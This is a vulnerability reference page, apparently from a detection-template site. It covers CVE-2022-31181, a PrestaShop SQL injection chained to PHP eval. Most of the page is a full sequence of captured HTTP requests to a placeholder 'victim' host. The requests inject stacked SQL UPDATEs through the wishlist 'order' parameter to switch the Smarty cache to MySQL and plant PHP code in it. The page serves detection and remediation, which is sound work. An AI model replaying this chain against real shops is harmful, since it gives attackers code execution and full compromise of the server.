🔙 목록으로 돌아가기

CVE-2022-31181: PrestaShop - SQL Injection to Eval Injection

Title	PrestaShop - SQL Injection to Eval Injection
Author	daffainfo
Severity	Critical
Impact	Attackers can execute arbitrary PHP code, leading to remote code execution and full system compromise
Remediation	Upgrade to version 1.7.8.7 or later. Alternatively, delete the MySQL Smarty cache feature if upgrade is not possible.
CVSS Score	9.8
EPSS Score	0.72653
CVE ID	CVE-2022-31181
CWE ID	CWE-89,CWE-74
Shodan Query	http.component:"Prestashop"cpe:"cpe:2.3:a:prestashop:prestashop"http.component:"prestashop"
Tags	cve cve2022 prestashop rce intrusive vkev vuln

🔍 Vulnerability Description

PrestaShop versions from 1.6.0.10 and before 1.7.8.7 contain an SQL injection caused by unsanitized user input, letting attackers chain the vulnerability to call PHP’s Eval function, exploit requires attacker to send malicious input.

🌐 HTTP Request

POST /login?create_account=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_gender=1&firstname=oxvx&lastname=tcvj&email=ioWZOl@JwmfR.com&password=nloDOqUG&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

POST /module/blockwishlist/action?action=addProductToWishlist HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

params[id_product]=1&params[idWishList]=4PqJZ2&params[quantity]=0&params[id_product_attribute]=0

POST /module/blockwishlist/view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 126
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_wishlist=4PqJZ2&order=product.price;UPDATE+ps_configuration+SET+value+=1+WHERE+name+LIKE+'%_SMARTY_CACHE';--.desc&from-xhr=

POST /module/blockwishlist/view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Connection: close
Content-Length: 139
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_wishlist=4PqJZ2&order=product.price;UPDATE+ps_configuration+SET+value+='mysql'+WHERE+name+LIKE+'%_SMARTY_CACHING_TYPE';--.desc&from-xhr=

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/7.0
Connection: close
Accept-Encoding: gzip

POST /module/blockwishlist/view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Connection: close
Content-Length: 127
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_wishlist=4PqJZ2&order=product.price;UPDATE+ps_smarty_cache+SET+content=concat(content,"echo+md5('9068');");--.desc&from-xhr=

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Connection: close
Accept-Encoding: gzip

POST /module/blockwishlist/view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: close
Content-Length: 131
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_wishlist=4PqJZ2&order=product.price;UPDATE+ps_smarty_cache+SET+content=REPLACE(content,"echo+md5('9068');","");--.desc&from-xhr=

POST /module/blockwishlist/view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 126
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_wishlist=4PqJZ2&order=product.price;UPDATE+ps_configuration+SET+value+=0+WHERE+name+LIKE+'%_SMARTY_CACHE';--.desc&from-xhr=

POST /module/blockwishlist/view HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 144
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id_wishlist=4PqJZ2&order=product.price;UPDATE+ps_configuration+SET+value+='filesystem'+WHERE+name+LIKE+'%_SMARTY_CACHING_TYPE';--.desc&from-xhr=

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31181.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31181.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A